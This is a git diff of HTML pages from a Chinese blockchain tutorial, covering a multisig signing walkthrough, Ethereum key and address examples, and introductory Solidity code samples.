             uint256 _nonce,
             uint256 chainid
    -    ) public pure returns (bytes32) {
    +    ) public pure returns (bytes32) {
             bytes32 safeTxHash =
                 keccak256(
                     abi.encode(
    @@ -3369,10 +3369,10 @@ 

    完整代码

    chainid ) ); - return safeTxHash; + return safeTxHash; } } -
    +

    Remix验证

    1. 部署合约,设置为2/3多签,合约地址(goerli):0x511592F1431f6c9018dA27F58dF944acd7Eac472;
    2. @@ -3381,43 +3381,43 @@

      Remix验证

      Owner2:0xC4109e427A149239e6C1E35Bb2eCD0015B6500B8 Owner3:0x572ed8c1Aa486e6a016A7178E41e9Fc1E59CAe63 -["0xE8191108261f3234f1C2acA52a0D5C11795Aef9E","0xC4109e427A149239e6C1E35Bb2eCD0015B6500B8","0x572ed8c1Aa486e6a016A7178E41e9Fc1E59CAe63"], 2 +["0xE8191108261f3234f1C2acA52a0D5C11795Aef9E","0xC4109e427A149239e6C1E35Bb2eCD0015B6500B8","0x572ed8c1Aa486e6a016A7178E41e9Fc1E59CAe63"], 2
    1. 转账0.1 ETH到多签合约地址(略);
    2. 构建转账交易,将0.1ETH转账到Owner1地址,我们将对这笔交易进行多方签名,满足2/3后,发送转账交易(我们要对这笔交易对hash值进行签名,使用encodeTransactionData完成hash计算),
    -
    # 参数
    +
    # 参数
     to: 0xE8191108261f3234f1C2acA52a0D5C11795Aef9E
     value: 100000000000000000
     data: 0x
     _nonce: 0
     chainid: 5
     
    -# 结果(待签名信息)
    +# 结果(待签名信息)
     交易哈希:0xeaa5d901b5c497a883b2d1ad5321ead3a41a7443c50dfb4bc140ccd792c19d1c
     
    1. 利用Remix中ACCOUNT旁边的笔记图案的按钮进行签名,内容输入上面的交易哈希,获得签名,任选个钱包即可,注意地址顺序要:由小到大,在校验签名时有大小判断。
    -
    # 签名地址1: 0x572ed8c1Aa486e6a016A7178E41e9Fc1E59CAe63, 
    -# 待签名hash内容:0xeaa5d901b5c497a883b2d1ad5321ead3a41a7443c50dfb4bc140ccd792c19d1c
    -# EIP191 hash:0x8c2479bfdefe6a60aa53abb32917d80e50506fa79cd0dd1a66217c9606a3af24
    +
    # 签名地址1: 0x572ed8c1Aa486e6a016A7178E41e9Fc1E59CAe63, 
    +# 待签名hash内容:0xeaa5d901b5c497a883b2d1ad5321ead3a41a7443c50dfb4bc140ccd792c19d1c
    +# EIP191 hash:0x8c2479bfdefe6a60aa53abb32917d80e50506fa79cd0dd1a66217c9606a3af24
     
    -# signature1:
    +# signature1:
     0xa8529b2e088d3bd2ad05582f810f5d56b0ca412578d7a177ab35b3fadbb10e040009fba2108da2d871f7c704611735a304c5f3c6f4bb34b3fc245f40c029188a1c
     
     
     
    -# 签名地址2: 0xC4109e427A149239e6C1E35Bb2eCD0015B6500B8
    -# 待签名hash内容:0xeaa5d901b5c497a883b2d1ad5321ead3a41a7443c50dfb4bc140ccd792c19d1c
    -# EIP191 hash:0x8c2479bfdefe6a60aa53abb32917d80e50506fa79cd0dd1a66217c9606a3af24
    +# 签名地址2: 0xC4109e427A149239e6C1E35Bb2eCD0015B6500B8
    +# 待签名hash内容:0xeaa5d901b5c497a883b2d1ad5321ead3a41a7443c50dfb4bc140ccd792c19d1c
    +# EIP191 hash:0x8c2479bfdefe6a60aa53abb32917d80e50506fa79cd0dd1a66217c9606a3af24
     
    -# signature2:
    +# signature2:
     0x88bce1e1d3460d43c95ef6d163f6dddc655bd22b78e4489ce50be18c08b6fe1067521326d216bbee7a637ee9b1a4da3468d6938516cc8fb5803eed0cb3d96f831b
     
     
    -# 拼接后到signature为:(去除0x)
    +# 拼接后到signature为:(去除0x)
     0xa8529b2e088d3bd2ad05582f810f5d56b0ca412578d7a177ab35b3fadbb10e040009fba2108da2d871f7c704611735a304c5f3c6f4bb34b3fc245f40c029188a1c88bce1e1d3460d43c95ef6d163f6dddc655bd22b78e4489ce50be18c08b6fe1067521326d216bbee7a637ee9b1a4da3468d6938516cc8fb5803eed0cb3d96f831b
     
      @@ -3463,7 +3463,7 @@

      总结

      @@ -3549,14 +3549,6 @@

      总结

      - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/09_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_Go\344\272\244\344\272\222\345\220\210\347\272\246.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/09_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_Go\344\272\244\344\272\222\345\220\210\347\272\246.html" index 3859708b..d156f25f 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/09_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_Go\344\272\244\344\272\222\345\220\210\347\272\246.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/09_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_Go\344\272\244\344\272\222\345\220\210\347\272\246.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

      第9节:世界杯竞猜( @@ -3136,14 +3132,6 @@

      第9节:世界杯竞猜( - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/index.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/index.html" index a39d082f..af422991 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/index.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3098,7 +3094,7 @@

      小结

      @@ -3184,14 +3180,6 @@

      小结

      - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/01-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\212\357\274\211.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/01-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\212\357\274\211.html" index c1943e99..a08ba096 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/01-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\212\357\274\211.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/01-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\212\357\274\211.html" @@ -36,10 +36,6 @@ - - - - @@ -3156,26 +3152,26 @@

      在线演示

      image-20230101164435228

      在币圈一般都称之为:大饼,各种牛鬼蛇神币种的涨跌基本完全看大饼的脸色,大饼每四年减产一次(即挖矿的奖励减半),大约在2140年时会全部挖完(2100w枚),比特币总量计算如下:totalBTC.go

      -
      package main
      +
      package main
       
      -import "fmt"
      +import "fmt"
       
      -func main() {
      -    total := 0.0     //总量
      -    interval := 21.0 //区块间隔,万单位
      +func main() {
      +    total := 0.0     //总量
      +    interval := 21.0 //区块间隔,万单位
       
      -    reward := 50.0 //奖励数量,最初50个
      +    reward := 50.0 //奖励数量,最初50个
       
      -    for reward != 0 {
      -        //累加挖矿值
      +    for reward != 0 {
      +        //累加挖矿值
               amount := reward * interval
       
      -        total += amount //总量
      +        total += amount //总量
       
      -        reward *= 0.5 //奖励减半
      +        reward *= 0.5 //奖励减半
           }
       
      -    fmt.Printf("total : %fw\n", total)
      +    fmt.Printf("total : %fw\n", total)
       }
       

      3. 以太坊

      @@ -3251,7 +3247,7 @@

      6. 其他概念

      @@ -3337,14 +3333,6 @@

      6. 其他概念

      - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/02-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\213\357\274\211.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/02-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\213\357\274\211.html" index 5868cf7d..3cef7fd9 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/02-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\213\357\274\211.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/02-\345\214\272\345\235\227\351\223\276\345\237\272\347\241\200\357\274\210\344\270\213\357\274\211.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,13 +3046,13 @@

      1. 私钥|地址

      image-20230101173933979

      保证安全的核心在于:随机数的空间足够大,否则会被暴力破解,出现过安全事件

      以太坊地址生成在线工具:https://www.rfctools.com/ethereum-address-test-tool/

      -
      # privateKey:
      +
      # privateKey:
       A4657617423513817844D8BB5BAD89C1B9C1499D1E94875DC325BEA53526BDB4
       
      -# publicKey: 
      +# publicKey: 
       f91339a26b4cb0059642665f46369c3569fc26597694aff84d908de5b4833b24ab5aad66b23f43ae3607aa9278f9829a7719fd9702493a789067fa8c7c0d98f6
       
      -#address: 
      +#address: 
       0xA8AdDb283a2AcdAc6DdE3Aa44e054A00836CCf0A
       

      2. 分层确定性钱包|助记词

      @@ -3111,31 +3107,31 @@

      二、智能合约

    1. 应用开发:聚焦在应用层面,如微信,手机银行等,在区块链领域,我们称之为Dapp(Decentralized Application),即去中心化应用。

    我们后面会有专门的课程讲解solidity入门:

    -
    // SPDX-License-Identifier: MIT
    -// 指定编译器版本,版本标识符
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +// 指定编译器版本,版本标识符
    +pragma solidity ^0.8.13;
     
    -// 关键字 contract 跟java的class一样  智能合约是Inbox      
    +// 关键字 contract 跟java的class一样  智能合约是Inbox      
     contract Inbox{
     
    -    // 状态变量,存在链上
    +    // 状态变量,存在链上
         string public message;
     
    -    // 构造函数
    -    constructor(string memory initMessage) {
    -        // 本地变量
    +    // 构造函数
    +    constructor(string memory initMessage) {
    +        // 本地变量
             string memory tmp = initMessage;
             message = tmp;
         }
     
    -    // 写操作,需要支付手续费
    -    function setMessage(string memory _newMessage) public {
    +    // 写操作,需要支付手续费
    +    function setMessage(string memory _newMessage) public {
             message = _newMessage;
         }
     
    -    // 读操作,不需要支付手续费
    -    function getMessage() public view returns(string memory) {
    -        return message;
    +    // 读操作,不需要支付手续费
    +    function getMessage() public view returns(string memory) {
    +        return message;
         }
     }
     
    @@ -3235,7 +3231,7 @@

    四、资源链接

    @@ -3321,14 +3317,6 @@

    四、资源链接

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/03-solidity\357\274\210\344\270\212\357\274\211.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/03-solidity\357\274\210\344\270\212\357\274\211.html" index 7249fa0e..d9f13c6d 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/03-solidity\357\274\210\344\270\212\357\274\211.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/\345\237\272\347\241\200\345\233\236\351\241\276/03-solidity\357\274\210\344\270\212\357\274\211.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,32 +3045,32 @@

    第一个dapp

  • 写状态变量(上链)是一笔交易(tx),需要矿工打包,所以需要花费资金;
  • 读取状态变量,是从账本中获取数据,不是一笔交易,所以免费。(必须加上view)
  • -
    // 指定编译器版本,版本标识符
    -pragma solidity ^0.8.13;
    +
    // 指定编译器版本,版本标识符
    +pragma solidity ^0.8.13;
     
    -// 关键字 contract 跟java的class一样  智能合约是Inbox      
    +// 关键字 contract 跟java的class一样  智能合约是Inbox      
     contract Inbox {
     
     
     
    -   // 状态变量,存在链上
    +   // 状态变量,存在链上
         string public message;
     
    -    // 构造函数
    -    constructor(string memory initMessage) {
    -        // 本地变量
    +    // 构造函数
    +    constructor(string memory initMessage) {
    +        // 本地变量
             string memory tmp = initMessage;
             message = tmp;
         }
     
    -    // 写操作,需要支付手续费
    -    function setMessage(string memory _newMessage) public {
    +    // 写操作,需要支付手续费
    +    function setMessage(string memory _newMessage) public {
             message = _newMessage;
         }
     
    -    // 读操作,不需要支付手续费
    -    function getMessage() public view returns(string memory) {
    -        return message;
    +    // 读操作,不需要支付手续费
    +    function getMessage() public view returns(string memory) {
    +        return message;
         }
     }
     
    @@ -3087,42 +3083,42 @@

    基础数据类型

  • 定长字节:bytes1~bytes32
  • 地址:address(20个字节,40个16进制字符,共160位),如:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Primitives {
    -    bool public flag = true;
    +    bool public flag = true;
     
    -    /*
    +    /*
         uint stands for unsigned integer, meaning non negative integers
         different sizes are available
             uint8   ranges from 0` to 2 ** 8 - 1
             uint16  ranges from 0 to 2 ** 16 - 1
             ...
             uint256 ranges from 0 to 2 ** 256 - 1
    -    */
    -    uint8 public u8 = 1;
    -    uint public u256 = 456;
    -    uint public u = 123; // uint is an alias for uint256
    +    */
    +    uint8 public u8 = 1;
    +    uint public u256 = 456;
    +    uint public u = 123; // uint is an alias for uint256
     
    -    /*
    +    /*
         Negative numbers are allowed for int types.
         Like uint, different ranges are available from int8 to int256
     
         int256 ranges from -2 ** 255 to 2 ** 255 - 1
         int128 ranges from -2 ** 127 to 2 ** 127 - 1
    -    */
    -    int8 public i8 = -1;
    -    int public i256 = 456;
    -    int public i = -123; // int is same as int256
    +    */
    +    int8 public i8 = -1;
    +    int public i256 = 456;
    +    int public i = -123; // int is same as int256
     
    -    // minimum and maximum of int
    +    // minimum and maximum of int
         int public minInt = type(int).min;
         int public maxInt = type(int).max;
     
    -    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
    +    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
     
    -    /*
    +    /*
         In Solidity, the data type byte represent a sequence of bytes. 
         Solidity presents two type of bytes types :
     
    @@ -3131,16 +3127,16 @@ 

    基础数据类型

    The term bytes in Solidity represents a dynamic array of bytes. It’s a shorthand for byte[] . - */ - bytes1 a = 0xb5; // [10110101] - bytes1 b = 0x56; // [01010110] - - // Default values - // Unassigned variables have a default value - bool public defaultBoo; // false - uint public defaultUint; // 0 - int public defaultInt; // 0 - address public defaultAddr; // 0x0000000000000000000000000000000000000000 + */
    + bytes1 a = 0xb5; // [10110101] + bytes1 b = 0x56; // [01010110] + + // Default values + // Unassigned variables have a default value + bool public defaultBoo; // false + uint public defaultUint; // 0 + int public defaultInt; // 0 + address public defaultAddr; // 0x0000000000000000000000000000000000000000 }

    变量variables

    @@ -3160,21 +3156,21 @@

    变量variables

  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Variables {
    -    // State variables are stored on the blockchain.
    -    string public msg = "Hello";
    -    uint public age = 26;
    +    // State variables are stored on the blockchain.
    +    string public msg = "Hello";
    +    uint public age = 26;
     
    -    function test() public {
    -        // Local variables are not saved to the blockchain.
    -        uint i = 456;
    +    function test() public {
    +        // Local variables are not saved to the blockchain.
    +        uint i = 456;
     
    -        // Here are some global variables
    -        uint height = block.blocks; // Current block height
    -        address sender = msg.sender; // address of the caller
    +        // Here are some global variables
    +        uint height = block.blocks; // Current block height
    +        address sender = msg.sender; // address of the caller
         }
     }
     
    @@ -3260,13 +3256,13 @@

    常量 constant

  • 常量更加节约gas,一般用大写来代表常量。
  • 高阶用法:clone合约时,如果合约内有初始值,必须使用constant,否则clone的新合约初始值为空值。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Constants {
    -    // coding convention to uppercase constant variables
    -    address public constant MY_ADDRESS = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    -    uint public constant MY_UINT = 123;
    +    // coding convention to uppercase constant variables
    +    address public constant MY_ADDRESS = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    +    uint public constant MY_UINT = 123;
     }
     

    不可变量 immutable

    @@ -3274,17 +3270,17 @@

    不可变量 immutable

  • 与常量类似,但是不必硬编码,可以在构造函数时传值,部署后无法改变。
  • immutable仅支持值类型(如:int,address,bytes8),不支持非值类型(如:string,bytes)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Immutable {
    -    // coding convention to uppercase constant variables
    +    // coding convention to uppercase constant variables
         address public immutable MY_ADDRESS;
         uint public immutable MY_UINT;
    -      bytes1 public immutable MY_BYTES1 = 0xff;
    -      // string public immutable greetings = "hello";  // error
    +      bytes1 public immutable MY_BYTES1 = 0xff;
    +      // string public immutable greetings = "hello";  // error
     
    -    constructor(uint _myUint) {
    +    constructor(uint _myUint) {
             MY_ADDRESS = msg.sender;
             MY_UINT = _myUint;
         }
    @@ -3297,18 +3293,18 @@ 

    ether和wei

  • 1 ether = 10^9 gwei
  • 1 gwei = 10^9 wei
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract EtherUnits {
    -      uint price = 0.1 ether;
    -    uint public oneWei = 1 wei;
    -    // 1 wei is equal to 1
    -    bool public isOneWei = 1 wei == 1;
    -
    -    uint public oneEther = 1 ether;
    -    // 1 ether is equal to 10^18 wei
    -    bool public isOneEther = 1 ether == 1e18;
    +      uint price = 0.1 ether;
    +    uint public oneWei = 1 wei;
    +    // 1 wei is equal to 1
    +    bool public isOneWei = 1 wei == 1;
    +
    +    uint public oneEther = 1 ether;
    +    // 1 ether is equal to 10^18 wei
    +    bool public isOneEther = 1 ether == 1e18;
     }
     

    msg三人组

    @@ -3322,76 +3318,76 @@

    msg三人组

  • msg.data:表示调用这笔交易的信息,由函数签名和函数参数(16进制字符串),组成代理模式时常用msg.data(后续讲解)。
  • msg.sender

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgSender {
         address public owner;
         uint256 public value;
         address public caller;
     
    -    constructor() {
    -        //在部署合约的时候,设置一个全局唯一的合约所有者,后面可以使用权限控制
    +    constructor() {
    +        //在部署合约的时候,设置一个全局唯一的合约所有者,后面可以使用权限控制
             owner = msg.sender;
         }
     
    -    //1. 对与合约而言,msg.sender是一个可以改变的值,并不一定是合约的创造者
    -    //2. 任何人调用了合约的方法,那么这笔交易中的from就是当前合约中的msg.sender
    -    function setValue(uint256 input) public {
    +    //1. 对与合约而言,msg.sender是一个可以改变的值,并不一定是合约的创造者
    +    //2. 任何人调用了合约的方法,那么这笔交易中的from就是当前合约中的msg.sender
    +    function setValue(uint256 input) public {
             value = input;
             caller = msg.sender;
         }
     }
     

    msg.value

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgValue {
     
    -    // uint256 public money;
    -    mapping(address=> uint256) public personToMoney;
    +    // uint256 public money;
    +    mapping(address=> uint256) public personToMoney;
     
    -    // 函数里面使用了msg.value,那么函数要修饰为payable
    -    function play() public payable {
    +    // 函数里面使用了msg.value,那么函数要修饰为payable
    +    function play() public payable {
     
    -        // 如果转账不是100wei,那么参与失败
    -        // 否则成功,并且添加到维护的mapping中
    -        require(msg.value == 100, "should equal to 100!");
    +        // 如果转账不是100wei,那么参与失败
    +        // 否则成功,并且添加到维护的mapping中
    +        require(msg.value == 100, "should equal to 100!");
             personToMoney[msg.sender] = msg.value;
         }
     
    -    // 查询当前合约的余额
    -    function getBalance() public view returns(uint256) {
    -        return address(this).balance;
    +    // 查询当前合约的余额
    +    function getBalance() public view returns(uint256) {
    +        return address(this).balance;
         }
     }
     

    msg.data

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract MsgData {
         event Data(bytes data, bytes4 sig);
     
    -    // input0: addr: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    -    // input1: amt : 1
    -    function transfer(address addr, uint256 amt) public {
    +    // input0: addr: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
    +    // input1: amt : 1
    +    function transfer(address addr, uint256 amt) public {
             bytes memory data = msg.data;
     
    -        // msg.sig 表示当前方法函数签名(4字节)
    -        // msg.sig 等价于 this.transfer.selector
    +        // msg.sig 表示当前方法函数签名(4字节)
    +        // msg.sig 等价于 this.transfer.selector
             emit Data(data, msg.sig);
         }
     
    -    //output: 
    -    // - data: 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000001
    -    // - sig: 0xa9059cbb
    +    //output: 
    +    // - data: 0xa9059cbb0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000001
    +    // - sig: 0xa9059cbb
     
    -    // 对data进行分析:
    -    // 0xa9059cbb //前四字节
    -    // 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 //第一个参数占位符(32字节)
    -    // 0000000000000000000000000000000000000000000000000000000000000001 //第二个参数占位符(32字节)
    +    // 对data进行分析:
    +    // 0xa9059cbb //前四字节
    +    // 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 //第一个参数占位符(32字节)
    +    // 0000000000000000000000000000000000000000000000000000000000000001 //第二个参数占位符(32字节)
     }
     

    payable

    @@ -3404,33 +3400,33 @@

    payable

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Payable {
    -    // 1. Payable address can receive Ether
    +    // 1. Payable address can receive Ether
         address payable public owner;
     
    -    // 2. Payable constructor can receive Ether
    -    constructor() payable {
    +    // 2. Payable constructor can receive Ether
    +    constructor() payable {
             owner = payable(msg.sender);
         }
     
    -    // 3. Function to deposit Ether into this contract.
    -    function deposit() public payable {}
    +    // 3. Function to deposit Ether into this contract.
    +    function deposit() public payable {}
     
    -    // 4. Call this function along with some Ether.
    -    // The function will throw an error since this function is not payable.
    -    function notPayable() public {}
    +    // 4. Call this function along with some Ether.
    +    // The function will throw an error since this function is not payable.
    +    function notPayable() public {}
     
    -    // 5. Function to withdraw all Ether from this contract.
    -    function withdraw() public {
    -        uint amount = address(this).balance;
    +    // 5. Function to withdraw all Ether from this contract.
    +    function withdraw() public {
    +        uint amount = address(this).balance;
             owner.transfer(amount);
         }
     
    -    // 6. Function to transfer Ether from this contract to address from input
    -    function transfer(address payable _to, uint _amount) public {
    +    // 6. Function to transfer Ether from this contract to address from input
    +    function transfer(address payable _to, uint _amount) public {
             _to.transfer(_amount);
         }
     }
    @@ -3455,23 +3451,23 @@ 

    view和pure

  • view:表示函数中不会修改状态变量,只是读取;
  • pure:表示函数中不会使用状态变量,既不修改也不读取。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract ViewAndPure {
    -    uint public x = 1;
    +    uint public x = 1;
     
    -    // Promise not to modify the state.
    -    function addToX(uint y) public view returns (uint) {
    -        return x + y;
    +    // Promise not to modify the state.
    +    function addToX(uint y) public view returns (uint) {
    +        return x + y;
         }
     
    -    // Promise not to modify or read from the state.
    -    function add(uint i, uint j) public pure returns (uint) {
    -        return i + j;
    +    // Promise not to modify or read from the state.
    +    function add(uint i, uint j) public pure returns (uint) {
    +        return i + j;
         }
     
    -    function setX(uint num) public {
    +    function setX(uint num) public {
             x = num;
         }
     }
    @@ -3484,25 +3480,25 @@ 

    bytes和string

  • 支持push方法添加
  • 可以与string相互转换
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract  Bytes {
         bytes public name;
     
    -    //1. 获取字节长度
    -    function getLen() public view returns(uint256) {
    -        return name.length;
    +    //1. 获取字节长度
    +    function getLen() public view returns(uint256) {
    +        return name.length;
         }
     
    -    //2. 可以不分空间,直接进行字符串赋值,会自动分配空间
    -    function setValue(bytes memory input) public {
    +    //2. 可以不分空间,直接进行字符串赋值,会自动分配空间
    +    function setValue(bytes memory input) public {
             name = input;
         }
     
    -    //3. 支持push操作,在bytes最后面追加元素
    -    function pushData() public {
    -        name.push("h");
    +    //3. 支持push操作,在bytes最后面追加元素
    +    function pushData() public {
    +        name.push("h");
         }
     }
     
    @@ -3512,18 +3508,18 @@

    bytes和string

  • string 不支持下标索引不支持length、push方法
  • string 可以修改(需通过bytes转换)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
    -contract  String {
    -    string public name = "lily";   
    +contract  String {
    +    string public name = "lily";   
     
    -    function setName() public {
    -        bytes(name)[0] = "L";   
    +    function setName() public {
    +        bytes(name)[0] = "L";   
         }
     
    -    function getLength() public view returns(uint256) {
    -        return bytes(name).length;
    +    function getLength() public view returns(uint256) {
    +        return bytes(name).length;
         }
     }
     
    @@ -3532,8 +3528,8 @@

    struct

  • 自定义结构类型,将不同的数据类型组合到一个结构中,目前支持参数传递结构体。
  • 枚举和结构体都可以定义在另外一个文件中,进行import后使用
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Todos {
         struct Todo {
    @@ -3541,47 +3537,47 @@ 

    struct

    bool completed; } - // An array of 'Todo' structs + // An array of 'Todo' structs Todo[] public todos; - // [["hello", true], ["world", false]] - function createByElement(Todo[] memory _todos) public { - for (uint i = 0; i < _todos.length; i++) { + // [["hello", true], ["world", false]] + function createByElement(Todo[] memory _todos) public { + for (uint i = 0; i < _todos.length; i++) { todos.push(_todos[i]); } } - function create(string memory _text) public { - // 3 ways to initialize a struct - // - calling it like a function - todos.push(Todo(_text, false)); + function create(string memory _text) public { + // 3 ways to initialize a struct + // - calling it like a function + todos.push(Todo(_text, false)); - // key value mapping - todos.push(Todo({text: _text, completed: false})); + // key value mapping + todos.push(Todo({text: _text, completed: false})); - // initialize an empty struct and then update it + // initialize an empty struct and then update it Todo memory todo; todo.text = _text; - // todo.completed initialized to false + // todo.completed initialized to false todos.push(todo); } - // Solidity automatically created a getter for 'todos' so - // you don't actually need this function. - function get(uint _index) public view returns (string memory text, bool completed) { + // Solidity automatically created a getter for 'todos' so + // you don't actually need this function. + function get(uint _index) public view returns (string memory text, bool completed) { Todo storage todo = todos[_index]; - return (todo.text, todo.completed); + return (todo.text, todo.completed); } - // update text - function update(uint _index, string memory _text) public { + // update text + function update(uint _index, string memory _text) public { Todo storage todo = todos[_index]; todo.text = _text; } - // update completed - function toggleCompleted(uint _index) public { + // update completed + function toggleCompleted(uint _index) public { Todo storage todo = todos[_index]; todo.completed = !todo.completed; } @@ -3594,50 +3590,50 @@

    mapping

  • mapping不支持迭代器
  • 不需要实例化等,定义后直接可以使用
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Mapping {
    -    // Mapping from address to uint
    -    mapping(address => uint) public myMap;
    +    // Mapping from address to uint
    +    mapping(address => uint) public myMap;
     
    -    function get(address _addr) public view returns (uint) {
    -        // Mapping always returns a value.
    -        // If the value was never set, it will return the default value.
    -        return myMap[_addr];
    +    function get(address _addr) public view returns (uint) {
    +        // Mapping always returns a value.
    +        // If the value was never set, it will return the default value.
    +        return myMap[_addr];
         }
     
    -    function set(address _addr, uint _i) public {
    -        // Update the value at this address
    +    function set(address _addr, uint _i) public {
    +        // Update the value at this address
             myMap[_addr] = _i;
         }
     
    -    function remove(address _addr) public {
    -        // Reset the value to the default value.
